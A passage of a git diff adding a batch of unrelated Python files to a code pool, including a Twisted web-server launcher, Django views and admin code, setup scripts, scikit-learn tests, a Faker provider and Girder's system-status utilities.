:func:`main()`. You can call ``python -m torweb --help`` to +see all available options. +''' + +from __future__ import absolute_import, print_function, with_statement + +import argparse +import os +import sys + +from twisted import python +from twisted.internet import reactor +from twisted.web import server + +from torweb import configuration as config +from torweb import data + +from torweb.api.ressources.api import TorwebResource + + +class ServerEntry(config.DictEntry): + entries = { + 'ssl': config.BooleanEntry(default_value=False), + 'port': config.IntegerEntry(default_value=8082), + 'address': config.StringEntry(default_value='127.0.0.1') + } + + +class ConnectionEntry(config.DictEntry): + entries = { + 'name': config.StringEntry(), + 'host': config.StringEntry(), + 'port': config.IntegerEntry(), + 'password': config.StringEntry() + } + + +class TorwebConfiguration(config.Configuration): + + _name_connections = 'connections' + _name_includes = 'include configuration' + _name_server = 'server' + + root_entry = config.DictEntry({ + _name_server: ServerEntry(), + _name_connections: config.ListEntry(ConnectionEntry()), + # _name_includes: config.ListEntry(config.StringEntry()) + }) + + @property + def connections(self): + ''' + Returns a list of dictionaries. + ''' + return self.value[self._name_connections] + + @property + def server(self): + return self.value[self._name_server] + + +def get_configuration(filename=None): + if filename is None: + filename = data.default_configuration() + return TorwebConfiguration(configfile=filename) + + +def main(): + ''' + Run the torweb server from command line arguments. + ''' + parser = argparse.ArgumentParser(prog="torweb") + parser.add_argument("port", nargs='?', metavar="PORT", default=8082, + type=int, help="Port to listen on. Default: 8082") + parser.add_argument("--listen-address", metavar="IP", + help=("USE CAREFULLY! Set the IP-Address " + "on which torweb listens."), + default='127.0.0.1') + parser.add_argument("-t", "--tls", action="store_true", + help="Use TLS encryption.") + parser.add_argument("-c", "--config", default="None", + help="Set the configuration file.") + parser.add_argument("-k", "--private-key", default=None, + help=("Path to the private key in PEM " + "format for TLS encryption.")) + parser.add_argument("-C", "--certificate", default=None, + help=("Path to the public certificate in PEM " + "format for TLS encryption.")) + parser.add_argument( + "-q", "--quiet", help="Don't log messages.", action="store_true") + + args = parser.parse_args() + + if not args.quiet: + python.log.startLogging(sys.stdout) + + root_folder = data.get_path() + + if args.private_key is None: + args.private_key = os.path.join(root_folder, 'key.pem') + + if args.certificate is None: + args.certificate = os.path.join(root_folder, 'cert.pem') + + config = get_configuration() + + torweb_resource = TorwebResource(data.get_app_dir(), config.connections) + site = server.Site(torweb_resource) + + if args.tls: + try: + from twisted.internet import ssl + except ImportError as why: + parser.error("Failed to import ssl: " + str(why)) + + if not os.path.isfile(args.private_key): + parser.error("Key file {} doesn't exist".format(args.private_key)) + + if not os.path.isfile(args.certificate): + parser.error( + "Certificate file {} doesn't exist".format(args.certificate)) + + cert_data = "" + with open(args.private_key) as cert_file: + cert_data = cert_file.read() + + with open(args.certificate) as cert_file: + cert_data += cert_file.read() + + certificate = ssl.PrivateCertificate.loadPEM(cert_data) + reactor.listenSSL(args.port, site, certificate.options(), + interface=args.listen_address) + else: + reactor.listenTCP(args.port, site, interface=args.listen_address) + reactor.run() + +if __name__ == "__main__": + main() diff --git a/pool/shard009/Python/0083089_f.py b/pool/shard009/Python/0083089_f.py new file mode 100644 index 0000000000000000000000000000000000000000..afe1d6d6a4382654fd91b25e8d18f8f9c070c159 --- /dev/null +++ b/pool/shard009/Python/0083089_f.py @@ -0,0 +1,27 @@ +from threading import * +import time, sys + +t = None + +def worker(): + counter = 0 + while True: + print 'counter=%d' % counter + sys.stdout.flush() + counter += 1 + time.sleep(0.001) + +def f(event): + global t + if t == None: + print 'Init worker thread' + t = Thread(target=worker) + t.start() + time.sleep(0.1) + return 'Background thread started' + +def main(): + print f(None, None) + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0083092_setup.py b/pool/shard009/Python/0083092_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..02078015c1a5a337d84626d80213f34566ab09c4 --- /dev/null +++ b/pool/shard009/Python/0083092_setup.py @@ -0,0 +1,134 @@ +VERSION = (0, 0, 8, "a", 0) # following PEP 386 +DEV_N = None + +import os +import sys +from fnmatch import fnmatchcase +from distutils.util import convert_path +from setuptools import setup, find_packages + +def read(fname): + return open(os.path.join(os.path.dirname(__file__), fname)).read() + +# Provided as an attribute, so you can append to these instead +# of replicating them: +standard_exclude = ('*.py', '*.pyc', '*$py.class', '*~', '.*', '*.bak') +standard_exclude_directories = ('.*', 'CVS', '_darcs', './build', + './dist', 'EGG-INFO', '*.egg-info') + +def get_version(): + version = "%s.%s" % (VERSION[0], VERSION[1]) + if VERSION[2]: + version = "%s.%s" % (version, VERSION[2]) + if VERSION[3] != "f": + version = "%s%s%s" % (version, VERSION[3], VERSION[4]) + if DEV_N: + version = "%s.dev%s" % (version, DEV_N) + return version + +# (c) 2005 Ian Bicking and contributors; written for Paste (http://pythonpaste.org) +# Licensed under the MIT license: http://www.opensource.org/licenses/mit-license.php +# Note: you may want to copy this into your setup.py file verbatim, as +# you can't import this from another package, when you don't know if +# that package is installed yet. +def find_package_data( + where='.', package='', + exclude=standard_exclude, + exclude_directories=standard_exclude_directories, + only_in_packages=True, + show_ignored=False): + """ + Return a dictionary suitable for use in ``package_data`` + in a distutils ``setup.py`` file. + + The dictionary looks like:: + + {'package': [files]} + + Where ``files`` is a list of all the files in that package that + don't match anything in ``exclude``. + + If ``only_in_packages`` is true, then top-level directories that + are not packages won't be included (but directories under packages + will). + + Directories matching any pattern in ``exclude_directories`` will + be ignored; by default directories with leading ``.``, ``CVS``, + and ``_darcs`` will be ignored. + + If ``show_ignored`` is true, then all the files that aren't + included in package data are shown on stderr (for debugging + purposes). + + Note patterns use wildcards, or can be exact paths (including + leading ``./``), and all searching is case-insensitive. + """ + + out = {} + stack = [(convert_path(where), '', package, only_in_packages)] + while stack: + where, prefix, package, only_in_packages = stack.pop(0) + for name in os.listdir(where): + fn = os.path.join(where, name) + if os.path.isdir(fn): + bad_name = False + for pattern in exclude_directories: + if (fnmatchcase(name, pattern) + or fn.lower() == pattern.lower()): + bad_name = True + if show_ignored: + print >> sys.stderr, ( + "Directory %s ignored by pattern %s" + % (fn, pattern)) + break + if bad_name: + continue + if (os.path.isfile(os.path.join(fn, '__init__.py')) + and not prefix): + if not package: + new_package = name + else: + new_package = package + '.' + name + stack.append((fn, '', new_package, False)) + else: + stack.append((fn, prefix + name + '/', package, only_in_packages)) + elif package or not only_in_packages: + # is a file + bad_name = False + for pattern in exclude: + if (fnmatchcase(name, pattern) + or fn.lower() == pattern.lower()): + bad_name = True + if show_ignored: + print >> sys.stderr, ( + "File %s ignored by pattern %s" + % (fn, pattern)) + break + if bad_name: + continue + out.setdefault(package, []).append(prefix+name) + return out + +setup( + name="django-merchant", + version=get_version(), + description="A Django app that provides helpers for multiple pluggable payment backends.", + long_description=read("README.rst"), + author="Agiliq Solutions", + author_email="hello@agiliq.com", + license="BSD", + url="http://github.com/agiliq/merchant", + packages=find_packages(exclude=['example*']), + package_data=find_package_data("billing", only_in_packages=False), + classifiers=[ + "Development Status :: 3 - Alpha", + "Environment :: Web Environment", + "Intended Audience :: Developers", + "License :: OSI Approved :: BSD License", + "Operating System :: OS Independent", + "Programming Language :: Python", + "Framework :: Django", + ], + zip_safe=False, + tests_require=["Django"], +) diff --git a/pool/shard009/Python/0083093_init_coords.py b/pool/shard009/Python/0083093_init_coords.py new file mode 100644 index 0000000000000000000000000000000000000000..842ae7773c7ce5fdfc78d5e8d54dedd30748012b --- /dev/null +++ b/pool/shard009/Python/0083093_init_coords.py @@ -0,0 +1,27 @@ +import numpy as np +import random + +def init_coords(count,lower_bounds,upper_bounds): + """ Returns a random (2xcount) array of coordinates with values + bounded by lower_bounds[0], upper_bounds[0] for the row 0 and by + lower_bounds[1], upper_bounds[1] for the row 1. + + Parameters + ---------- + count: int + Number of objects + lower_bounds: list or array + 1x2 list/array with the lower bounds + upper_bounds: list or array + 1x2 list/array with the upper bounds + + Returns + ------- + 2xcount array of count number of coordinates + """ + offsets=np.ones([count,1])*np.array(lower_bounds) + offsets=offsets.transpose() + widths=np.array([upper_bounds[0]-lower_bounds[0], + upper_bounds[1]-lower_bounds[1]]) + distribution=np.random.rand(2,count)*widths[:,np.newaxis] + return distribution+offsets diff --git a/pool/shard009/Python/0083108_views.py b/pool/shard009/Python/0083108_views.py new file mode 100644 index 0000000000000000000000000000000000000000..008d4cca4806df393ee5357a72b82bf6df400d08 --- /dev/null +++ b/pool/shard009/Python/0083108_views.py @@ -0,0 +1,85 @@ +from django.shortcuts import render_to_response +from django.http import HttpResponse +from django.template import RequestContext +from django.contrib.auth.decorators import login_required + +from drag.models import AppModel +from cortex import SessionPool, Channel, WebsocketHandler +Sessions = SessionPool(); + +# Establish a correspondance between the `.type` attribute +# attached to Backbone models and their counterpart in the +# Django ORM. +CapsuleModels = { + 'AppModel': AppModel +} + +# The initial `app` model created upon a `session` event call. +app = { + 'type': 'AppModel', + 'attributes': { + 'toggler': False, + }, + 'id': 1 +} + +class Dragger(Channel): + + name = 'dragger' + users = set([]) + + def subscribe(self, user, socket): + # Add a socket subscription to this channel + self.add_subscriber(socket) + + # Add a user to users set + self.users.add(user) + + def unsubscribe(self, user, socket): + # Remove socket subscription + self.del_subscriber(socket) + + # Remove the user + self.users.discard(user.username) + + def message(self, msg, user, socket): + # Publish the new (x,y) coordinates + self.send(msg) + +# ---------- +# HTTP Views +# ---------- + +@login_required +def home(request, room_name=None, template_name='home.html'): + context = {'session_key':request.session.session_key} + + return render_to_response(template_name, context, + context_instance=RequestContext(request)) + +# List of active users +def users(request): + + users = '' + for user in Sessions.iter_users(): + user_type, user_obj = user + users += "(%s,%s)" % (user_type, user_obj.username) + + return HttpResponse(users,mimetype='text') + +# --------------- +# Socket Handlers +# --------------- + +Room = Dragger(Sessions) + +Websocket = WebsocketHandler(pool=Sessions, + models=CapsuleModels) +Websocket.app_fixture = app + +Websocket.on_connect = Room.subscribe +Websocket.on_disconnect = Room.unsubscribe +Websocket.on_message = Room.message + +# Hook that is passed to urls.py to handle socketio events +socketio = Websocket.make_handle() diff --git a/pool/shard009/Python/0083110_binarybase.py b/pool/shard009/Python/0083110_binarybase.py new file mode 100644 index 0000000000000000000000000000000000000000..c0ba24027d02e1fc5b7abf08cf6a25a40f60f7d9 --- /dev/null +++ b/pool/shard009/Python/0083110_binarybase.py @@ -0,0 +1,75 @@ +from abc import ABCMeta, abstractmethod + + +class BinaryBase(metaclass=ABCMeta): + def __init__(self, name, offsets=None): + """ + Constructor. + + :param name: the binary's name + :type name: str + :param offsets: initial offsets that are stored into the binary + :type offsets: dict or None + """ + self._name = name + if offsets: + self._offsets = offsets.copy() + else: + self._offsets = dict() + + def get_name(self): + """ + Returns the name. + """ + return self._name + + @abstractmethod + def get_address(self, name, offset=0): + """ + Resolves the address of the symbol with the given name and adds the + given offset. + + :param name: the symbol's name + :type name: str + :param offset: an offset that is added to the returned address + :type offset: int + """ + pass + + def __setitem__(self, name, offset): + """ + Sets the offset of the symbol with the given name. + + :param name: the symbol's name + :type name: str + :param offset: the offset of the symbol within the binary + :type offset: int + """ + self.add_offset(name, offset) + + def __getitem__(self, name): + """ + Resolves the address of the symbol with the given name. + + :param name: the symbol's name + :type name: str + :raises KeyError: + """ + address = self._get_address(name, 0) + if address is None: + raise KeyError("'{}' cannot be looked up in {}" + .format(name, self._name)) + return address + + def add_offset(self, name, offset): + """ + Adds the offset of the symbol with the given name. + + :param name: the symbol's name + :type name: str + :param offset: the offset of the symbol within the binary + :type offset: int + """ + if name in self._offsets: + raise ValueError("Duplicated offset '{}'".format(name)) + self._offsets[name] = offset diff --git a/pool/shard009/Python/0083115_test_locally_linear.py b/pool/shard009/Python/0083115_test_locally_linear.py new file mode 100644 index 0000000000000000000000000000000000000000..ec519e7b3173076ab572b79eb68a3d59493d0253 --- /dev/null +++ b/pool/shard009/Python/0083115_test_locally_linear.py @@ -0,0 +1,126 @@ +from itertools import product +import numpy as np +from nose.tools import assert_true + +from numpy.testing import assert_almost_equal, assert_array_almost_equal +from sklearn import neighbors, manifold +from sklearn.manifold.locally_linear import barycenter_kneighbors_graph +from sklearn.utils.testing import assert_less + +eigen_solvers = ['dense', 'arpack'] + + +#---------------------------------------------------------------------- +# Test utility routines +def test_barycenter_kneighbors_graph(): + X = np.array([[0, 1], [1.01, 1.], [2, 0]]) + + A = barycenter_kneighbors_graph(X, 1) + assert_array_almost_equal( + A.todense(), + [[0., 1., 0.], + [1., 0., 0.], + [0., 1., 0.]]) + + A = barycenter_kneighbors_graph(X, 2) + # check that columns sum to one + assert_array_almost_equal(np.sum(A.todense(), 1), np.ones((3, 1))) + pred = np.dot(A.todense(), X) + assert_less(np.linalg.norm(pred - X) / X.shape[0], 1) + + +#---------------------------------------------------------------------- +# Test LLE by computing the reconstruction error on some manifolds. + +def test_lle_simple_grid(): + # note: ARPACK is numerically unstable, so this test will fail for + # some random seeds. We choose 2 because the tests pass. + rng = np.random.RandomState(2) + tol = 0.1 + + # grid of equidistant points in 2D, n_components = n_dim + X = np.array(list(product(range(5), repeat=2))) + X = X + 1e-10 * rng.uniform(size=X.shape) + n_components = 2 + clf = manifold.LocallyLinearEmbedding(n_neighbors=5, + n_components=n_components, + random_state=rng) + tol = 0.1 + + N = barycenter_kneighbors_graph(X, clf.n_neighbors).todense() + reconstruction_error = np.linalg.norm(np.dot(N, X) - X, 'fro') + assert_less(reconstruction_error, tol) + + for solver in eigen_solvers: + clf.set_params(eigen_solver=solver) + clf.fit(X) + assert_true(clf.embedding_.shape[1] == n_components) + reconstruction_error = np.linalg.norm( + np.dot(N, clf.embedding_) - clf.embedding_, 'fro') ** 2 + + assert_less(reconstruction_error, tol) + assert_almost_equal(clf.reconstruction_error_, + reconstruction_error, decimal=1) + + # re-embed a noisy version of X using the transform method + noise = rng.randn(*X.shape) / 100 + X_reembedded = clf.transform(X + noise) + assert_less(np.linalg.norm(X_reembedded - clf.embedding_), tol) + + +def test_lle_manifold(): + rng = np.random.RandomState(0) + # similar test on a slightly more complex manifold + X = np.array(list(product(range(20), repeat=2))) + X = np.c_[X, X[:, 0] ** 2 / 20] + X = X + 1e-10 * rng.uniform(size=X.shape) + n_components = 2 + for method in ["standard", "hessian", "modified", "ltsa"]: + clf = manifold.LocallyLinearEmbedding(n_neighbors=6, + n_components=n_components, + method=method, random_state=0) + tol = 1.5 if method == "standard" else 3 + + N = barycenter_kneighbors_graph(X, clf.n_neighbors).toarray() + reconstruction_error = np.linalg.norm(np.dot(N, X) - X) + assert_less(reconstruction_error, tol) + + for solver in eigen_solvers: + clf.set_params(eigen_solver=solver) + clf.fit(X) + assert_true(clf.embedding_.shape[1] == n_components) + reconstruction_error = np.linalg.norm( + np.dot(N, clf.embedding_) - clf.embedding_, 'fro') ** 2 + details = ("solver: %s, method: %s" % (solver, method)) + assert_less(reconstruction_error, tol, msg=details) + assert_less(np.abs(clf.reconstruction_error_ - + reconstruction_error), + tol * reconstruction_error, msg=details) + + +def test_pipeline(): + # check that LocallyLinearEmbedding works fine as a Pipeline + # only checks that no error is raised. + # TODO check that it actually does something useful + from sklearn import pipeline, datasets + X, y = datasets.make_blobs(random_state=0) + clf = pipeline.Pipeline( + [('filter', manifold.LocallyLinearEmbedding(random_state=0)), + ('clf', neighbors.KNeighborsClassifier())]) + clf.fit(X, y) + assert_less(.9, clf.score(X, y)) + + +# Test the error raised when the weight matrix is singular +def test_singular_matrix(): + import warnings + from nose.tools import assert_raises + M = np.ones((10, 3)) + with warnings.catch_warnings(record=True): + assert_raises(ValueError, manifold.locally_linear_embedding, + M, 2, 1, method='standard', eigen_solver='arpack') + + +if __name__ == '__main__': + import nose + nose.runmodule() diff --git a/pool/shard009/Python/0083116_admin.py b/pool/shard009/Python/0083116_admin.py new file mode 100644 index 0000000000000000000000000000000000000000..13643382177532ef8c9f28e950da7e367446bdd2 --- /dev/null +++ b/pool/shard009/Python/0083116_admin.py @@ -0,0 +1,131 @@ +import logging + +from admin_ordering.admin import OrderableAdmin +from django.conf.urls import url +from django.contrib import admin +from django.db.models import JSONField +from django.template.response import TemplateResponse +from django.urls import reverse +from django.utils.html import format_html + +from events import forms +from events.models import Event, EventAttendees, EventRegistrationForm +from events.widgets import PrettyJSONWidget + +logger = logging.getLogger('date') + + +class EventRegistrationFormInline(admin.TabularInline): + line_numbering = 0 + model = EventRegistrationForm + fk_name = 'event' + extra = 0 + readonly_fields = ('line_number',) + fields = ('line_number', 'name', 'type', 'required', 'public_info', 'hide_for_avec', 'choice_list') + can_delete = True + + def line_number(self, obj): + self.line_numbering += 1 + return self.line_numbering + + line_number.short_description = '#' + + +class EventAttendeesFormInline(OrderableAdmin, admin.TabularInline): + ordering_field = 'attendee_nr' + ordering_field_hide_input = True + model = EventAttendees + fk_name = 'event' + extra = 0 + list_editable = ('user', 'email', 'preferences') + formfield_overrides = { + JSONField: {'widget': PrettyJSONWidget()} + } + can_delete = True + ordering = ['attendee_nr'] + + def get_fields(self, request, event): + fields = ['attendee_nr', 'user', 'email', 'anonymous', 'preferences', 'time_registered'] + if event and event.sign_up_avec: + fields.append('avec_for') + return fields + def get_readonly_fields(self, request, event): + readonly_fields = ['time_registered'] + return readonly_fields + + def formfield_for_foreignkey(self, db_field, request, **kwargs): + event_id = request.resolver_match.kwargs.get('object_id') + if db_field.name == "avec_for": + kwargs["queryset"] = EventAttendees.objects.filter(event=event_id) + return super().formfield_for_foreignkey(db_field, request, **kwargs) + +@admin.register(Event) +class EventAdmin(admin.ModelAdmin): + save_on_top = True + list_display = ( + 'title', 'created_time', 'event_date_start', 'get_attendee_count', 'sign_up_max_participants', 'published', + 'account_actions') + search_fields = ('title', 'author', 'created_time') + ordering = ['-event_date_start'] + + form = forms.EventCreationForm + + inlines = [ + EventRegistrationFormInline, + EventAttendeesFormInline + ] + + def get_urls(self): + urls = super().get_urls() + custom_urls = [ + url( + r'^(?P.+)/list/$', + self.admin_site.admin_view(self.process_list), + name="registration_list" + ), + ] + return custom_urls + urls + + def account_actions(self, obj): + return format_html( + 'Deltagarlista ', + reverse('admin:registration_list', args=[obj.pk]) + ) + + account_actions.short_description = 'Deltagarlista' + account_actions.allow_tags = True + + def process_list(self, request, event_id, *args, **kwargs): + context = self.admin_site.each_context(request) + event = self.get_object(request, event_id) + context['event'] = event + return TemplateResponse( + request, + 'events/list.html', + context + ) + + class Media: + js = ('js/eventform.js',) + + def get_attendee_count(self, obj): + return obj.get_registrations().count() + + get_attendee_count.short_description = 'Anmälda' + + def add_view(self, request, form_url='', extra_context=None): + self.fields = forms.EventCreationForm.Meta.fields + return super(EventAdmin, self).add_view(request, form_url, extra_context) + + def change_view(self, request, object_id, form_url='', extra_context=None): + self.fields = forms.EventEditForm.Meta.fields + return super(EventAdmin, self).change_view(request, object_id, form_url, extra_context) + + def get_form(self, request, obj=None, change=False, **kwargs): + if obj is None: + form = forms.EventCreationForm + else: + form = forms.EventEditForm + + form.user = request.user + return form diff --git a/pool/shard009/Python/0083118_setup.py b/pool/shard009/Python/0083118_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..42a917ed75eae156d22a87a06d551df2b5ad741c --- /dev/null +++ b/pool/shard009/Python/0083118_setup.py @@ -0,0 +1,71 @@ +import os +import sys +from btfly import ( + __author__, + __author_email__, + __status__, + __version__ +) + +def get_long_description(): + file = os.path.join(os.path.dirname(os.path.abspath(__file__)), 'README') + long_description = '' + try: + f = open(file) + long_description = ''.join(f.readlines()) + f.close() + except IOError: + print 'Failed to open file "%s".' % (file) + f.close() + return long_description + +try: + from setuptools import setup + setup +except ImportError: + from distutils.core import setup + +if sys.argv[-1] == 'publish': + os.system('python setup.py sdist upload') + sys.exit() + +install_requires = [ + 'PyYAML', +] + +if sys.version_info < (2, 7): + install_requires.append('argparse') + +setup( + name = 'btfly', + version = __version__, + url = 'http://github.com/oinume/btfly/', + license = 'LGPL', + author = __author__, + author_email = __author_email__, + description = "Manage your servers with YAML or JSON.", + long_description = get_long_description(), + packages = [ 'btfly' ], + scripts = [ os.path.join('bin', p) for p in [ 'btfly' ] ], + zip_safe = False, + platforms = 'unix', + install_requires = install_requires, + tests_require = [ 'pytest', 'pytest-cov' ], +# TODO: data_files +# data_files = [ +# ( 'etc', [ 'conf/*.*' ] ), +# ( 'plugins', [ 'plugins/*.py' ] ), +# ], + classifiers = [ + 'Development Status :: 4 - ' + __status__, + 'Environment :: Console', + 'Intended Audience :: System Administrators', + 'License :: OSI Approved :: GNU Library or Lesser General Public License (LGPL)', + 'Operating System :: Unix', + 'Programming Language :: Python', + 'Programming Language :: Python :: 2.6', + 'Programming Language :: Python :: 2.7', + 'Topic :: Software Development :: Libraries :: Python Modules', + 'Topic :: System :: Systems Administration', + ], +) diff --git a/pool/shard009/Python/0083119_init__.py b/pool/shard009/Python/0083119_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..a63a5ccaa51f186ec5963d9c226828d1b13e3de8 --- /dev/null +++ b/pool/shard009/Python/0083119_init__.py @@ -0,0 +1,37 @@ +from .. import Provider as BaseProvider + + +class Provider(BaseProvider): + # Source: + # https://en.wikipedia.org/wiki/National_Insurance_number + # UK National Insurance numbers (NINO) follow a specific format + # To avoid generating real NINOs, the prefix and suffix letters + # remain static using values reserved by HMRC (never to be used). + # Example format: "QR 12 34 56 C" or "QR123456C" - only alphanumeric + # and whitespace characters are permitted. Whitespace is for readability + # only and is generally included as per the above examples, but a + # few 'styles' have been included below for the sake of realism. + + nino_formats = ( + 'ZZ ## ## ## T', + 'ZZ######T', + 'ZZ ###### T', + ) + + def ssn(self): + pattern = self.random_element(self.nino_formats) + return self.numerify(self.generator.parse(pattern)) + + vat_id_formats = ( + 'GB### #### ##', + 'GB### #### ## ###', + 'GBGD###', + 'GBHA###', + ) + + def vat_id(self): + """ + http://ec.europa.eu/taxation_customs/vies/faq.html#item_11 + :return: A random British VAT ID + """ + return self.bothify(self.random_element(self.vat_id_formats)) diff --git a/pool/shard009/Python/0083122_run.py b/pool/shard009/Python/0083122_run.py new file mode 100644 index 0000000000000000000000000000000000000000..f4390e2e30b540d28d041fcdf1717671c9fdaa74 --- /dev/null +++ b/pool/shard009/Python/0083122_run.py @@ -0,0 +1,14 @@ +from flask import render_template + +from app import create_app + +application = create_app(flask_config='development') + + + + +if application.config['socketio_app']: + socketio_app = application.config['socketio_app'] + socketio_app.run(app=application, host='0.0.0.0', port=5000, debug=False) +else: + application.run(host='0.0.0.0', port=5000, debug=False) diff --git a/pool/shard009/Python/0083123_targetrpystonedalone.py b/pool/shard009/Python/0083123_targetrpystonedalone.py new file mode 100644 index 0000000000000000000000000000000000000000..e9ff648dadfe6f953c923c0a0eae76d0a466972b --- /dev/null +++ b/pool/shard009/Python/0083123_targetrpystonedalone.py @@ -0,0 +1,71 @@ +import os, sys +from rpython.translator.test import rpystone +from rpython.translator.goal import richards + +# __________ Entry point __________ + +# note that we have %f but no length specifiers in RPython + +def pystones_main(loops): + benchtime, stones = rpystone.pystones(abs(loops)) + s = '' # annotator happiness + if loops >= 0: + s = ("RPystone time for %d passes = %f" % + (loops, benchtime) + '\n' + ( + "This machine benchmarks at %f pystones/second\n" % stones)) + os.write(1, s) + if loops == 12345: + pystones_main(loops-1) + +def richards_main(iterations): + s = "Richards benchmark (RPython) starting...\n" + os.write(1, s) + result, startTime, endTime = richards.entry_point(iterations) + if not result: + os.write(2, "Incorrect results!\n") + return + os.write(1, "finished.\n") + total_s = endTime - startTime + avg = total_s * 1000 / iterations + os.write(1, "Total time for %d iterations: %f secs\n" %(iterations, total_s)) + os.write(1, "Average time per iteration: %f ms\n" %(avg)) + +DEF_PYSTONE = 10000000 +DEF_RICHARDS = 1000 + +def entry_point(argv): + proc = pystones_main + default = DEF_PYSTONE + n = 0 + for s in argv[1:]: + s = s.lower() + if 'pystone'.startswith(s): + proc = pystones_main + default = DEF_PYSTONE + elif 'richards'.startswith(s): + proc = richards_main + default = DEF_RICHARDS + else: + try: + n = abs(int(s)) + except ValueError: + os.write(2, '"%s" is neither a valid option (pystone, richards)' + ' nor an integer\n' % s) + return 1 + if not n: + n = default + proc(n) + return 0 + +# _____ Define and setup target ___ + +def target(*args): + return entry_point + +""" +Why is this a stand-alone target? + +The above target specifies no argument types list. +This is a case treated specially in the driver.py . The only argument is meant +to be a list of strings, actually implementing argv of the executable. +""" diff --git a/pool/shard009/Python/0083126_system.py b/pool/shard009/Python/0083126_system.py new file mode 100644 index 0000000000000000000000000000000000000000..c786ef8865df3a2cfd24610574c9f2fb1b751109 --- /dev/null +++ b/pool/shard009/Python/0083126_system.py @@ -0,0 +1,216 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +############################################################################### +# Copyright 2014 Kitware Inc. +# +# Licensed under the Apache License, Version 2.0 ( the "License" ); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +############################################################################### + +import cherrypy +import os +import psutil +import six +import socket +import threading +import time + +import girder +from girder import logger +from girder.models import getDbConnection + + +def _objectToDict(obj): + """ + Convert an object to a dictionary. Any non-private attribute that is an + integer, float, or string is returned in the dictionary. + + :param obj: a python object or class. + :returns: a dictionary of values for the object. + """ + return {key: getattr(obj, key) for key in dir(obj) if + not key.startswith('_') and + isinstance(getattr(obj, key), + tuple([float, tuple] + list(six.string_types) + + list(six.integer_types)))} + + +def _computeSlowStatus(process, status, db): + status['diskPartitions'] = [_objectToDict(part) for part in + psutil.disk_partitions()] + try: + # This fails in travis's environment, so guard it + status['diskIO'] = _objectToDict(psutil.disk_io_counters()) + except Exception: + pass + # Report on the disk usage where the script is located + if hasattr(girder, '__file__'): + status['girderPath'] = os.path.abspath(girder.__file__) + status['girderDiskUsage'] = _objectToDict( + psutil.disk_usage(status['girderPath'])) + # Report where our logs are and how much space is available for them + status['logs'] = [] + for handler in logger.handlers: + try: + logInfo = {'path': handler.baseFilename} + logInfo['diskUsage'] = _objectToDict( + psutil.disk_usage(logInfo['path'])) + status['logs'].append(logInfo) + except Exception: + # If we can't read information about the log, don't throw an + # exception + pass + status['mongoDbStats'] = db.command('dbStats') + try: + # I don't know if this will work with a sharded database, so guard + # it and don't throw an exception + status['mongoDbPath'] = getDbConnection().admin.command( + 'getCmdLineOpts')['parsed']['storage']['dbPath'] + status['mongoDbDiskUsage'] = _objectToDict( + psutil.disk_usage(status['mongoDbPath'])) + except Exception: + pass + + status['processDirectChildrenCount'] = len(process.children()) + status['processAllChildrenCount'] = len(process.children(True)) + status['openFiles'] = [_objectToDict(file) for file in + process.open_files()] + # I'd rather see textual names for the family and type of connections, + # so make a lookup table for them + connFamily = {getattr(socket, key): key for key in dir(socket) + if key.startswith('AF_')} + connType = {getattr(socket, key): key for key in dir(socket) + if key.startswith('SOCK_')} + connections = [] + for conn in process.connections(): + connDict = _objectToDict(conn) + connDict.pop('raddr', None) + connDict.pop('laddr', None) + connDict['family'] = connFamily.get(connDict['family'], + connDict['family']) + connDict['type'] = connType.get(connDict['type'], connDict['type']) + connections.append(connDict) + status['connections'] = connections + if hasattr(process, 'io_counters'): + status['ioCounters'] = _objectToDict(process.io_counters()) + + status['cherrypyThreads'] = {} + for threadId in cherrypy.tools.status.seenThreads: + info = cherrypy.tools.status.seenThreads[threadId].copy() + if 'end' in info: + info['duration'] = info['end'] - info['start'] + info['idle'] = time.time() - info['end'] + status['cherrypyThreads'][threadId] = info + + +def getStatus(mode='basic', user=None): + """ + Get a dictionary of status information regarding the Girder server. + + :param mode: 'basic' returns values available to any anonymous user. + 'quick' returns only values that are cheap to acquire. + 'slow' provides all of that information and adds additional + :param user: a user record. Must have admin access to get anything other + than basic mode. + :returns: a status dictionary. + """ + isAdmin = (user is not None and user.get('admin', False) is True) + + status = {} + status['bootTime'] = psutil.boot_time() + status['currentTime'] = time.time() + process = psutil.Process(os.getpid()) + status['processStartTime'] = process.create_time() + + if mode in ('quick', 'slow') and isAdmin: + status['virtualMemory'] = _objectToDict(psutil.virtual_memory()) + status['swap'] = _objectToDict(psutil.swap_memory()) + status['cpuCount'] = psutil.cpu_count() + + status['processMemory'] = _objectToDict(process.memory_info()) + status['processName'] = process.name() + status['cmdline'] = process.cmdline() + status['exe'] = process.exe() + status['cwd'] = process.cwd() + status['userName'] = process.username() + status['processCpuTimes'] = _objectToDict(process.cpu_times()) + db = getDbConnection().get_default_database() + status['mongoBuildInfo'] = db.command('buildInfo') + status['cherrypyThreadsMaxUsed'] = len( + cherrypy.tools.status.seenThreads) + status['cherrypyThreadsInUse'] = len([ + True for threadId in cherrypy.tools.status.seenThreads + if 'end' not in cherrypy.tools.status.seenThreads[threadId]]) + status['cherrypyThreadPoolSize'] = cherrypy.server.thread_pool + + if mode == 'slow' and isAdmin: + _computeSlowStatus(process, status, db) + return status + + +def formatSize(sizeBytes): + """ + Format a size in bytes into a human-readable string with metric unit + prefixes. + + :param sizeBytes: the size in bytes to format. + :returns: the formatted size string. + """ + suffixes = ['B', 'kB', 'MB', 'GB', 'TB'] + if sizeBytes < 20000: + return '%d %s' % (sizeBytes, suffixes[0]) + idx = 0 + sizeVal = float(sizeBytes) + while sizeVal >= 1024 and idx + 1 < len(suffixes): + sizeVal /= 1024 + idx += 1 + if sizeVal < 10: + precision = 3 + elif sizeVal < 100: + precision = 2 + else: + precision = 1 + return '%.*f %s' % (precision, sizeVal, suffixes[idx]) + + +# This class is used to monitor which threads in cherrypy are actively serving +# responses, and what each was last used for. It is based on the example at +# http://tools.cherrypy.org/wiki/StatusTool, but has changes to handle yield- +# based responses. +class StatusMonitor(cherrypy.Tool): + """Register the status of each thread.""" + + def __init__(self): + self._point = 'on_start_resource' + self._name = 'status' + self._priority = 50 + self.seenThreads = 